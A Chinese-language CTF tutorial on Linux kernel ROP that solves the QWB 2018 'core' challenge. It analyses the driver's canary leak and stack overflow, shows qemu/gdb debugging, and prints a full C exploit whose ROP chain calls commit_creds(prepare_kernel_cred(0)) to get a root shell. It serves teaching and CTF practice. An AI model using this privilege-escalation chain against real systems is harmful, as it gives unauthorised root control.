跳转至

Kernel ROP

ROP即返回導向編程(Return-oriented programming),應當是大家比較熟悉的一種攻擊方式——通過複用代碼片段的方式控制程序執行流。

內核態的 ROP 與用戶態的 ROP 一般無二,只不過利用的 gadget 變成了內核中的 gadget,所需要構造執行的 ropchain 由 system("/bin/sh") 變爲了 commit_creds(&init_cred)commit_creds(prepare_kernel_cred(NULL)),當我們成功地在內核中執行這樣的代碼後,當前線程的 cred 結構體便變爲 init 進程的 cred 的拷貝,我們也就獲得了 root 權限,此時在用戶態起一個 shell 便能獲得 root shell。

狀態保存

通常情況下,我們的exploit需要進入到內核當中完成提權,而我們最終仍然需要着陸回用戶態以獲得一個root權限的shell,因此在我們的exploit進入內核態之前我們需要手動模擬用戶態進入內核態的準備工作——保存各寄存器的值到內核棧上,以便於後續着陸回用戶態。

通常情況下使用如下函數保存各寄存器值到我們自己定義的變量中,以便於構造 rop 鏈:

算是一個通用的pwn板子。

方便起見,使用了內聯彙編,編譯時需要指定參數:-masm=intel

size_t user_cs, user_ss, user_rflags, user_sp;

void save_status(void)
{
    asm volatile ("mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );

    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

返回用戶態

由內核態返回用戶態只需要:

  • swapgs指令恢復用戶態GS寄存器
  • sysretq或者iretq恢復到用戶空間

那麼我們只需要在內核中找到相應的gadget並執行swapgs;iretq就可以成功着陸回用戶態。

通常來說,我們應當構造如下rop鏈以返回用戶態並獲得一個shell:

↓   swapgs
    iretq
    user_shell_addr
    user_cs
    user_eflags //64bit user_rflags
    user_sp
    user_ss

例題:強網杯2018 - core

分析

題目給了 bzImagecore.cpiostart.sh 以及帶符號表的 vmlinux 四個文件

前三個文件我們已經知道了作用,vmlinux 則是靜態編譯,未經過壓縮的 kernel 文件,相對應的 bzImage 可以理解爲壓縮後的文件,更詳細的可以看 stackexchange

vmlinux 未經過壓縮,也就是說我們可以從 vmlinux 中找到一些 gadget,我們先把 gadget 保存下來備用。

建議使用 Ropper 來尋找 gadget,在我測試時,ropper 用了兩分半鐘提取出了所有的 gadget,而 ROPgadget 用了半個小時耗盡了內存還沒跑出結果。。。

give_to_player [master●] time ropper --file ./vmlinux --nocolor > g1
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
ropper --file ./vmlinux --nocolor > g1  147.42s user 25.68s system 111% cpu 2:35.17 total

give_to_player [master●] time ROPgadget --binary ./vmlinux > g2
[2]    16597 killed     ROPgadget --binary ./vmlinux > g2
ROPgadget --binary ./vmlinux > g2  1064.39s user 42.52s system 54% cpu 33:35.89 total

如果題目沒有給 vmlinux,可以通過 extract-vmlinux 提取。

CISCN2017_babydriver [master●●] ./extract-vmlinux ./bzImage > vmlinux
CISCN2017_babydriver [master●●] file vmlinux 
vmlinux: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=e993ea9809ee28d059537a0d5e866794f27e33b4, stripped

看一下 start.sh

give_to_player [master●●] ls
bzImage  core.cpio  start.sh  vmlinux
give_to_player [master●●] bat start.sh 
───────┬─────────────────────────────────────────────────────────────────────────────────
        File: start.sh
───────┼─────────────────────────────────────────────────────────────────────────────────
   1    qemu-system-x86_64 \
   2    -m 64M \
   3    -kernel ./bzImage \
   4    -initrd  ./core.cpio \
   5    -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
   6    -s  \
   7    -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
   8    -nographic  \
───────┴─────────────────────────────────────────────────────────────────────────────────
發現內核開啓了 kaslr 保護。

解壓 core.cpio 後,看一下 init

give_to_player [master●] file core.cpio 
core.cpio: gzip compressed data, last modified: Fri Mar 23 13:41:13 2018, max compression, from Unix, original size 53442048
give_to_player [master●] mkdir core
give_to_player [master●] cd core 
core [master] mv ../core.cpio core.cpio.gz
core [master●] gunzip ./core.cpio.gz 
core [master●] cpio -idm < ./core.cpio
104379 塊
core [master●] bat init 
───────┬─────────────────────────────────────────────────────────────────────────────────
        File: init
───────┼─────────────────────────────────────────────────────────────────────────────────
   1    #!/bin/sh
   2    mount -t proc proc /proc
   3    mount -t sysfs sysfs /sys
   4    mount -t devtmpfs none /dev
   5    /sbin/mdev -s
   6    mkdir -p /dev/pts
   7    mount -vt devpts -o gid=4,mode=620 none /dev/pts
   8    chmod 666 /dev/ptmx
   9    cat /proc/kallsyms > /tmp/kallsyms
  10    echo 1 > /proc/sys/kernel/kptr_restrict
  11    echo 1 > /proc/sys/kernel/dmesg_restrict
  12    ifconfig eth0 up
  13    udhcpc -i eth0
  14    ifconfig eth0 10.0.2.15 netmask 255.255.255.0
  15    route add default gw 10.0.2.2 
  16    insmod /core.ko
  17    
  18    poweroff -d 120 -f &
  19    setsid /bin/cttyhack setuidgid 1000 /bin/sh
  20    echo 'sh end!\n'
  21    umount /proc
  22    umount /sys
  23    
  24    poweroff -d 0  -f
───────┴────────────────────────────
發現了幾處有意思的地方:

  • 第 9 行中把 kallsyms 的內容保存到了 /tmp/kallsyms 中,那麼我們就能從 /tmp/kallsyms 中讀取 commit_credsprepare_kernel_cred 的函數的地址了
  • 第 10 行把 kptr_restrict 設爲 1,這樣就不能通過 /proc/kallsyms 查看函數地址了,但第 9 行已經把其中的信息保存到了一個可讀的文件中,這句就無關緊要了
  • 第 11 行把 dmesg_restrict 設爲 1,這樣就不能通過 dmesg 查看 kernel 的信息了
  • 第 18 行設置了定時關機,爲了避免做題時產生幹擾,直接把這句刪掉然後重新打包

同時還發現了一個 shell 腳本 gen_cpio.sh

core [master●] bat gen_cpio.sh 
───────┬─────────────────────────────────────────────────────────────────────────────────
        File: gen_cpio.sh
───────┼─────────────────────────────────────────────────────────────────────────────────
   1    find . -print0 \
   2    | cpio --null -ov --format=newc \
   3    | gzip -9 > $1
───────┴─────────────────────────────────────────────────────────────────────────────────

從名稱和內容都可以看出這是一個方便打包的腳本,我們修改好 init 後重新打包,嘗試運行 kernel

core [master●●] vim init 
core [master●●] rm core.cpio 
core [master●●] ./gen_cpio.sh core.cpio
.
./usr
./usr/sbin
./usr/sbin/popmaildir
......
......
./core.cpio
./core.ko
129851 塊
core [master●●] ls
bin        core.ko  gen_cpio.sh  lib    linuxrc  root  sys  usr
core.cpio  etc      init         lib64  proc     sbin  tmp  vmlinux
core [master●●] mv core.cpio ..
core [master●●] cd ..
give_to_player [master●●] ./start.sh 

但這時候又遇到了新問題,內核運行不起來,從一閃即逝的報錯信息中能看到是因爲分配的內存過小,start.sh-m 分配的是 64M,修改爲 128M,終於能運行起來了。

/ $ lsmod
core 16384 0 - Live 0x0000000000000000 (O)
......
......
give_to_player [master●●] cp core/core.ko .
give_to_player [master●●] check ./core.ko
./core.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=549436683d
[*] '/home/m4x/pwn_repo/QWB2018_core/give_to_player/core.ko'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x0)
可以看出開啓了 canary 保護,用 IDA 打開進一步分析。

init_module() 註冊了 /proc/core

__int64 init_module()
{
  core_proc = proc_create("core", 438LL, 0LL, &core_fops);
  printk("\x016core: created /proc/core entry\n");
  return 0LL;
}
exit_core() 刪除 /proc/core
__int64 exit_core()
{
  __int64 result; // rax

  if ( core_proc )
    result = remove_proc_entry("core");
  return result;
}

core_ioctl() 定義了三條命令,分別調用 core_read()core_copy_func() 和設置全局變量 off

__int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3)
{
  switch ( a2 )
  {
    case 0x6677889B:
      core_read(a3);
      break;
    case 0x6677889C:
      printk("\x016core: %d\n");
      off = a3;
      break;
    case 0x6677889A:
      printk("\x016core: called core_copy\n");
      core_copy_func(a3);
      break;
  }
      core_copy_func(v3);
}

core_read()v4[off] 拷貝 64 個字節到用戶空間,但要注意的是全局變量 off 使我們能夠控制的,因此可以合理的控制 off 來 leak canary 和一些地址

void __fastcall core_read(__int64 a1)
{
  __int64 v1; // rbx
  char *v2; // rdi
  signed __int64 i; // rcx
  char v4[64]; // [rsp+0h] [rbp-50h]
  unsigned __int64 v5; // [rsp+40h] [rbp-10h]

  v1 = a1;
  v5 = __readgsqword(0x28u);
  printk("\x016core: called core_read\n");
  printk("\x016%d %p\n");
  v2 = v4;
  for ( i = 16LL; i; --i )
  {
    *(_DWORD *)v2 = 0;
    v2 += 4;
  }
  strcpy(v4, "Welcome to the QWB CTF challenge.\n");
  if ( copy_to_user(v1, &v4[off], 64LL) )
    __asm { swapgs }
}

core_copy_func() 從全局變量 name 中拷貝數據到局部變量中,長度是由我們指定的,當要注意的是 qmemcpy 用的是 unsigned __int16,但傳遞的長度是 signed __int64,因此如果控制傳入的長度爲 0xffffffffffff0000|(0x100) 等值,就可以棧溢出了

void __fastcall core_copy_func(signed __int64 a1)
{
  char v1[64]; // [rsp+0h] [rbp-50h]
  unsigned __int64 v2; // [rsp+40h] [rbp-10h]

  v2 = __readgsqword(0x28u);
  printk("\x016core: called core_writen");
  if ( a1 > 63 )
    printk("\x016Detect Overflow");
  else
    qmemcpy(v1, name, (unsigned __int16)a1);    // overflow
}

core_write() 向全局變量 name 上寫,這樣通過 core_write()core_copy_func() 就可以控制 ropchain 了

signed __int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3)
{
  unsigned __int64 v3; // rbx

  v3 = a3;
  printk("\x016core: called core_writen");
  if ( v3 <= 0x800 && !copy_from_user(name, a2, v3) )
    return (unsigned int)v3;
  printk("\x016core: error copying data from userspacen");
  return 0xFFFFFFF2LL;
}

思路

經過如上的分析,可以得出以下的思路:

  1. 通過 ioctl 設置 off,然後通過 core_read() leak 出 canary
  2. 通過 core_write() 向 name 寫,構造 ropchain
  3. 通過 core_copy_func() 從 name 向局部變量上寫,通過設置合理的長度和 canary 進行 rop
  4. 通過 rop 執行 commit_creds(prepare_kernel_cred(0))
  5. 返回用戶態,通過 system("/bin/sh") 等起 shell

解釋一下:

  • 如何獲得 commit_creds(),prepare_kernel_cred() 的地址?
    • /tmp/kallsyms 中保存了這些地址,可以直接讀取,同時根據偏移固定也能確定 gadgets 的地址
  • 如何返回用戶態?
    • swapgs; iretq,之前說過需要設置 cs, rflags 等信息,可以寫一個函數保存這些信息
// intel flavor assembly
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("[*]status has been saved.");
}

// at&t flavor assembly
void save_stats() {
asm(
    "movq %%cs, %0\n"
    "movq %%ss, %1\n"
    "movq %%rsp, %3\n"
    "pushfq\n"
    "popq %2\n"
    :"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
    :
    : "memory"
);
}
  • Why bother returning to Userspace?
    • Most useful things we want to do are much easier from userland.
    • In KernelSpace, there’s no easy way to:
      • Modify the filesystem
      • Create a new process
      • Create network connections

Exploit

先說一下怎麼調試,qemu 內置有 gdb 的接口,通過 help 查看

give_to_player [master●●] qemu-system-x86_64 --help | grep gdb
                          -gdb dev        wait for gdb connection on 'dev'
                          -s              shorthand for -gdb tcp::1234
即可以通過 -gdb tcp:port 或者 -s 來開啓調試端口,start.sh 中已經有了 -s,不必再自己設置。

另外通過 gdb ./vmlinux 啓動時,雖然加載了 kernel 的符號表,但沒有加載驅動 core.ko 的符號表,可以通過 add-symbol-file core.ko textaddr 加載

pwndbg> help add-symbol-file
Load symbols from FILE, assuming FILE has been dynamically loaded.
Usage: add-symbol-file FILE ADDR [-s <SECT> <SECT_ADDR> -s <SECT> <SECT_ADDR> ...]
ADDR is the starting address of the file's text.
The optional arguments are section-name section-address pairs and
should be specified if the data and bss segments are not contiguous
with the text.  SECT is a section name to be loaded at SECT_ADDR.

.text 段的地址可以通過 /sys/modules/core/section/.text 來查看,查看需要 root 權限,因此爲了方便調試,我們再改一下 init

# setsid /bin/cttyhack setuidgid 1000 /bin/sh
setsid /bin/cttyhack setuidgid 0 /bin/sh
重新打包,這樣啓動的時候就是 root 權限了。

比如:

// qemu 內
/ # cat /sys/module/core/sections/.text 
0xffffffffc018b000
......
......

// qemu 外
give_to_player [master●●] gdb ./vmlinux -q
pwndbg: loaded 174 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./vmlinux...(no debugging symbols found)...done.
pwndbg> add-symbol-file ./core.ko 0xffffffffc018b000
add symbol table from file "./core.ko" at
    .text_addr = 0xffffffffc018b000
Reading symbols from ./core.ko...(no debugging symbols found)...done.
pwndbg> b core_read                 # 加載了符號表,就可以直接對函數下斷點了
Breakpoint 1 at 0xffffffffc018b063
pwndbg> b *(0xffffffffc018b000+0xCC)# 或者根據基地址直接下斷點
Breakpoint 2 at 0xffffffffc018b0cc
pwndbg> target remote localhost:1234
Remote debugging using localhost:1234
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
0xffffffffa1e6e7d2 in ?? ()
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────[ REGISTERS ]──────────────────────────────────────
 RAX  0xffffffffa1e6e7d0 ◂— sti     /* 0x2e66001f0fc3f4fb */
 RBX  0xffffffffa2810480 ◂— 0x80000000
 RCX  0x0
 RDX  0x0
 RDI  0x0
 RSI  0x0
 R8   0xffff8f250641bf20 —▸ 0xffffb0f380647960 ◂— 1
 R9   0x0
 R10  0x0
 R11  0x32e
 R12  0xffffffffa2810480 ◂— 0x80000000
 R13  0xffffffffa2810480 ◂— 0x80000000
 R14  0x0
 R15  0x0
 RBP  0x0
 RSP  0xffffffffa2803eb8 —▸ 0xffffffffa16b65a0 ◂— 0xff894cf6894c9feb
 RIP  0xffffffffa1e6e7d2 ◂— ret     /* 0x1f0f2e66001f0fc3 */
───────────────────────────────────────[ DISASM ]────────────────────────────────────────
  0xffffffffa1e6e7d2    ret    <0xffffffffa16b65a0>
       0xffffffffa16b65a0    jmp    0xffffffffa16b6541
       0xffffffffa16b6541    or     byte ptr ds:[r12 + 2], 0x20
   0xffffffffa16b6548    pushfq
   0xffffffffa16b6549    pop    rax
   0xffffffffa16b654a    test   ah, 2
   0xffffffffa16b654d    je     0xffffffffa16b65e5

   0xffffffffa16b6553    call   0xffffffffa16d4720

   0xffffffffa16b6558    call   0xffffffffa16b6430

   0xffffffffa16b655d    mov    rax, qword ptr [rbx]
   0xffffffffa16b6560    test   al, 8
────────────────────────────────────────[ STACK ]────────────────────────────────────────
00:0000│ rsp  0xffffffffa2803eb8 —▸ 0xffffffffa16b65a0 ◂— 0xff894cf6894c9feb
01:0008│      0xffffffffa2803ec0 ◂— 0xc2
02:0010│      0xffffffffa2803ec8 —▸ 0xffffffffa2cc4900 ◂— 0xcccccccccccccccc
03:0018│      0xffffffffa2803ed0 —▸ 0xffff8f2506688900 ◂— jb     0xffff8f2506688971 /* 0x65642f3d746f6f72; 'root=/dev/ram' */
04:0020│      0xffffffffa2803ed8 —▸ 0xffffffffa2ccc2c0 ◂— 0xcccccccccccccccc
05:0028│      0xffffffffa2803ee0 ◂— 0x0
... 07:0038│      0xffffffffa2803ef0 —▸ 0xffffffffa16b673a ◂— jmp    0xffffffffa16b6735 /* 0x564190909090f9eb */
pwndbg> c
Continuing.
......
......


// qemu 內
/ # /tmp/exploit
[*]status has been saved.
commit_creds addr: 0xffffffffa169c8e0
vmlinux_base addr: 0xffffffffa1600000
prepare_kernel_cred addr: 0xffffffffa169cce0
[*]set off to 64
[*]read to buf.
......
......

// qemu 外
pwndbg> c
Continuing.
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!

Breakpoint 1, 0xffffffffc018b063 in core_read ()
ERROR: Could not find ELF base!
ERROR: Could not find ELF base!
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────[ REGISTERS ]──────────────────────────────────────
 RAX  0xffffffffc018b15f (core_ioctl) ◂— cmp    esi, 0x6677889b /* 0x48536677889bfe81 */
 RBX  0x7ffee6e56f10 ◂— 0
 RCX  0x0
 RDX  0x7ffee6e56f10 ◂— 0
 RDI  0x7ffee6e56f10 ◂— 0
 RSI  0x6677889b
 R8   0xffff8f25071b38ac ◂— 1
 R9   0x1
 R10  0x0
 R11  0x0
 R12  0xffff8f250540b7a0 ◂— mov    dh, 0x81 /* 0x581b6 */
 R13  0x6677889b
 R14  0x7ffee6e56f10 ◂— 0
 R15  0x0
 RBP  0x7ffee6e56f10 ◂— 0
 RSP  0xffffb0f3800dbe68 —▸ 0xffffffffc018b19b (core_ioctl+60) ◂— 0xc7c748d6894818eb
 RIP  0xffffffffc018b063 (core_read) ◂— push   rbx /* 0x7bc7c748fb894853 */
───────────────────────────────────────[ DISASM ]────────────────────────────────────────
  0xffffffffc018b063 <core_read>       push   rbx
   0xffffffffc018b064 <core_read+1>     mov    rbx, rdi
   0xffffffffc018b067 <core_read+4>     mov    rdi, -0x3fe73f85
   0xffffffffc018b06e <core_read+11>    sub    rsp, 0x48
   0xffffffffc018b072 <core_read+15>    mov    rax, qword ptr gs:[0x28]
   0xffffffffc018b07b <core_read+24>    mov    qword ptr [rsp + 0x40], rax
   0xffffffffc018b080 <core_read+29>    xor    eax, eax
   0xffffffffc018b082 <core_read+31>    call   0xffffffffa16c6845

   0xffffffffc018b087 <core_read+36>    mov    rsi, qword ptr [rip + 0x2b72]
   0xffffffffc018b08e <core_read+43>    mov    rdx, rbx
   0xffffffffc018b091 <core_read+46>    mov    rdi, -0x3fe73f6b
────────────────────────────────────────[ STACK ]────────────────────────────────────────
00:0000│ rsp  0xffffb0f3800dbe68 —▸ 0xffffffffc018b19b (core_ioctl+60) ◂— 0xc7c748d6894818eb
01:0008│      0xffffb0f3800dbe70 —▸ 0xffff8f25071b3840 ◂— add    qword ptr [r8], rax /* 0x81b6f000014b */
02:0010│      0xffffb0f3800dbe78 —▸ 0xffffffffa17dd6d1 ◂— 0xe824048948df8948
03:0018│      0xffffb0f3800dbe80 ◂— 0x889b
04:0020│      0xffffb0f3800dbe88 —▸ 0xffff8f2507680d00 ◂— 0
05:0028│      0xffffb0f3800dbe90 —▸ 0xffffffffa178ecfa ◂— 0x9e840ffffffdfd3d
06:0030│      0xffffb0f3800dbe98 —▸ 0xffffb0f3800dbe70 —▸ 0xffff8f25071b3840 ◂— add    qword ptr [r8], rax /* 0x81b6f000014b */
07:0038│      0xffffb0f3800dbea0 ◂— 0x10
Breakpoint core_read
pwndbg>

最終 exp

QWB2018_core [master●●] cat exploit.c 
// gcc exploit.c -static -masm=intel -g -o exploit
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>

void spawn_shell()
{
    if(!getuid())
    {
        system("/bin/sh");
    }
    else
    {
        puts("[*]spawn shell error!");
    }
    exit(0);
}

size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t raw_vmlinux_base = 0xffffffff81000000;
/* 
 * give_to_player [master●●] check ./core.ko
   ./core.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=549436d
   [*] '/home/m4x/pwn_repo/QWB2018_core/give_to_player/core.ko'
       Arch:     amd64-64-little
       RELRO:    No RELRO
       Stack:    Canary found
       NX:       NX enabled
       PIE:      No PIE (0x0)
*/
size_t vmlinux_base = 0;
size_t find_symbols()
{
    FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");
    /* FILE* kallsyms_fd = fopen("./test_kallsyms", "r"); */

    if(kallsyms_fd < 0)
    {
        puts("[*]open kallsyms error!");
        exit(0);
    }

    char buf[0x30] = {0};
    while(fgets(buf, 0x30, kallsyms_fd))
    {
        if(commit_creds & prepare_kernel_cred)
            return 0;

        if(strstr(buf, "commit_creds") && !commit_creds)
        {
            /* puts(buf); */
            char hex[20] = {0};
            strncpy(hex, buf, 16);
            /* printf("hex: %s\n", hex); */
            sscanf(hex, "%llx", &commit_creds);
            printf("commit_creds addr: %p\n", commit_creds);
            /*
             * give_to_player [master●●] bpython
                bpython version 0.17.1 on top of Python 2.7.15 /usr/bin/n
                >>> from pwn import *
                >>> vmlinux = ELF("./vmlinux")
                [*] '/home/m4x/pwn_repo/QWB2018_core/give_to_player/vmli'
                    Arch:     amd64-64-little
                    RELRO:    No RELRO
                    Stack:    Canary found
                    NX:       NX disabled
                    PIE:      No PIE (0xffffffff81000000)
                    RWX:      Has RWX segments
                >>> hex(vmlinux.sym['commit_creds'] - 0xffffffff81000000)
                '0x9c8e0'
            */
            vmlinux_base = commit_creds - 0x9c8e0;
            printf("vmlinux_base addr: %p\n", vmlinux_base);
        }

        if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
        {
            /* puts(buf); */
            char hex[20] = {0};
            strncpy(hex, buf, 16);
            sscanf(hex, "%llx", &prepare_kernel_cred);
            printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
            vmlinux_base = prepare_kernel_cred - 0x9cce0;
            /* printf("vmlinux_base addr: %p\n", vmlinux_base); */
        }
    }

    if(!(prepare_kernel_cred & commit_creds))
    {
        puts("[*]Error!");
        exit(0);
    }

}

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("[*]status has been saved.");
}

void set_off(int fd, long long idx)
{
    printf("[*]set off to %ld\n", idx);
    ioctl(fd, 0x6677889C, idx);
}

void core_read(int fd, char *buf)
{
    puts("[*]read to buf.");
    ioctl(fd, 0x6677889B, buf);

}

void core_copy_func(int fd, long long size)
{
    printf("[*]copy from user with size: %ld\n", size);
    ioctl(fd, 0x6677889A, size);
}

int main()
{
    save_status();
    int fd = open("/proc/core", 2);
    if(fd < 0)
    {
        puts("[*]open /proc/core error!");
        exit(0);
    }

    find_symbols();
    // gadget = raw_gadget - raw_vmlinux_base + vmlinux_base;
    ssize_t offset = vmlinux_base - raw_vmlinux_base;

    set_off(fd, 0x40);

    char buf[0x40] = {0};
    core_read(fd, buf);
    size_t canary = ((size_t *)buf)[0];
    printf("[+]canary: %p\n", canary);

    size_t rop[0x1000] = {0};

    int i;
    for(i = 0; i < 10; i++)
    {
        rop[i] = canary;
    }
    rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret
    rop[i++] = 0;
    rop[i++] = prepare_kernel_cred;         // prepare_kernel_cred(0)

    rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret
    rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret
    rop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx; 
    rop[i++] = commit_creds;

    rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret
    rop[i++] = 0;

    rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret; 

    rop[i++] = (size_t)spawn_shell;         // rip 

    rop[i++] = user_cs;
    rop[i++] = user_rflags;
    rop[i++] = user_sp;
    rop[i++] = user_ss;

    write(fd, rop, 0x800);
    core_copy_func(fd, 0xffffffffffff0000 | (0x100));

    return 0;
}

get root shell

QWB2018_core [master●●] gcc exploit.c -static -masm=intel -g -o exploit // 如果使用 intel 彙編需要加上 -masm=intel 
QWB2018_core [master●●] cp exploit give_to_player/core/tmp
cp:是否覆蓋'give_to_player/core/tmp/exploit' y
QWB2018_core [master●●] cd give_to_player/core
core [master●●] ./gen_cpio.sh core.cpio
.
./usr
./usr/sbin
......
......

core [master●●] mv core.cpio ..
mv:是否覆蓋'../core.cpio' y
core [master●●] cd ..
give_to_player [master●●] ./start.sh

/ $ ls /tmp/
exploit   kallsyms
/ $ id
uid=1000(chal) gid=1000(chal) groups=1000(chal)
/ $ /tmp/exploit
[*]status has been saved.
commit_creds addr: 0xffffffffbd09c8e0
vmlinux_base addr: 0xffffffffbd000000
prepare_kernel_cred addr: 0xffffffffbd09cce0
[*]set off to 64
[*]read to buf.
[+]canary: 0x6be486f377bb8600
[*]copy from user with size: -65280
/ # id
uid=0(root) gid=0(root)
當然這個題目也有其他做法,下篇再分析。

Reference and Thanks to

https://unix.stackexchange.com/questions/5518/what-is-the-difference-between-the-following-kernel-makefile-terms-vmlinux-vml

https://arttnba3.cn/2021/03/03/PWN-0X00-LINUX-KERNEL-PWN-PART-I/#0x01-Kernel-ROP-basic

https://blog.csdn.net/gatieme/article/details/78311841

https://bbs.pediy.com/thread-247054.htm

https://veritas501.space/2018/06/05/qwb2018%20core/

http://p4nda.top/2018/07/13/ciscn2018-core/